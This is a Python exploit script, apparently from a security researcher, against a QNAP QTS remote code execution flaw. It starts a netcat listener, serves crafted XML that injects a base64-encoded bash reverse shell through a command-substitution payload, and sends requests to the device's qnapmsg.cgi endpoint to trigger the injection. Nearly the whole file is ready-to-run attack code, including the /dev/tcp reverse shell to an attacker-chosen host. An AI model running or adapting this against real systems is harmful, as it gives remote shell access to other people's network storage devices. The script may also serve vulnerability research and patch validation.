from http.server import HTTPServer, BaseHTTPRequestHandler from threading import Thread from functools import partial import argparse import requests import urllib3 import base64 import time import ssl import sys import os urllib3.disable_warnings() def do_banner(): print("") print("01001001001000000110001101100001011011100010011101110100001000000110011101100101") print(" ______ ___ ___ _______ _______ __ ___ __ ___ ___ ") print(" / \" \\|\" \\ /\" |/\" \"| /\" \\ |/\"| / \") |\" \\ |\" | |\" |") print(" // ____ \\\\ \\ // /(: ______)|: |(: |/ / || | || | || |") print(" / / ) :)\\\\ \\/. ./ \\/ | |_____/ )| __/ |: | |: | |: |") print("(: (____/ // \\. // // ___)_ // / (// _ \\ |. | \\ |___ \\ |___") print(" \\ / \\\\ / (: \"||: __ \\ |: | \\ \\ /\\ |\\( \\_|: \\( \\_|: \\") print(" \\\"_____/ \\__/ \\_______)|__| \\___)(__| \\__)(__\\_|_)\\_______)\\_______)") print("") print("01110100001000000111010001101111001000000111001101101100011001010110010101110000") print("") print(" 🦞 jbaines-r7") print("") class PayloadServer(BaseHTTPRequestHandler): def __init__(self, lhost, lport, *args, **kwargs): self.payload = base64.b64encode(b'bash -i >& /dev/tcp/' + lhost + b'/' + lport + b' 0>&1') super().__init__(*args, **kwargs) def do_GET(self): print('[+] Received an HTTP request from %s on %s' % (self.address_string(), self.log_date_time_string())) print('[*] Requested ' + self.path) self.server_version = "Apache" self.sys_version = "" if self.path.find('/loginad//qnapmsg_') != -1: self.send_response(200) self.send_header('Content-type', 'text/xml') self.end_headers() self.wfile.write(b"\n" \ b"\n" \ b"\n" \ b"" \ b"/`(echo -ne '" + self.payload + b"' | base64 -d | sh)&`" \ b"http://www.qnap.com/" \ b"" \ b"" \ b"\n") else: self.send_response(404) self.end_headers() ## # Handles a single HTTP request before killing the program. ## def serve_once(httpd): httpd.handle_request() os._exit(1) if __name__ == '__main__': do_banner() parser = argparse.ArgumentParser(description='QNAP QTS Unknown MITM RCE Vulnerability') parser.add_argument('--rhost', action="store", dest="rhost", required=True, help="The IPv4 address to connect to") parser.add_argument('--rport', action="store", dest="rport", type=int, help="The port to connect to", default="8080") parser.add_argument('--lhost', action="store", dest="lhost", required=True, help="The address to connect back to") parser.add_argument('--lport', action="store", dest="lport", type=int, help="The port to connect to", default="1270") parser.add_argument('--http_port', action="store", dest="http_port", type=int, help="The port to connect to", default="80") parser.add_argument('--nc-path', action="store", dest="ncpath", help="The path to nc", default="/usr/bin/nc") parser.add_argument('--protocol', action="store", dest="protocol", help="The protocol handler to use", default="http://") args = parser.parse_args() pid = os.fork() if pid > 0: print('[+] Forking a netcat listener') print('[+] Using ' + args.ncpath) os.execv(args.ncpath, [args.ncpath, '-lvnp ' + str(args.lport)]) sys.exit(0) else: # give nc a chance to start up time.sleep(1) # Spin up a server for the exploit to call back to print('[+] Spinning up HTTP server') payload_server = partial(PayloadServer, args.lhost.encode('utf-8'), str(args.lport).encode('utf-8')) httpd = HTTPServer(("0.0.0.0", args.http_port), payload_server) httpd_thread = Thread(target=serve_once, args=(httpd, )) httpd_thread.setDaemon(True) httpd_thread.start() # this isn't all of them but it is sufficient for our purposes langs = [ 'eng', 'cze', 'dan', 'ger', 'spa', 'fre', 'ita', 'jpn', 'kor', 'nor', 'pol', 'rus', 'fin', 'swe', 'dut', 'tur', 'tha' ] for lang in langs: target_url = args.protocol + args.rhost + ':' + str(args.rport) + '/cgi-bin/qnapmsg.cgi?lang=' + lang print('[!] Attempting ' + target_url) requests.get(target_url, verify=False, timeout=10) if httpd_thread.is_alive(): print('[-] Requested did not trigger a request to our server. Try again.') else: break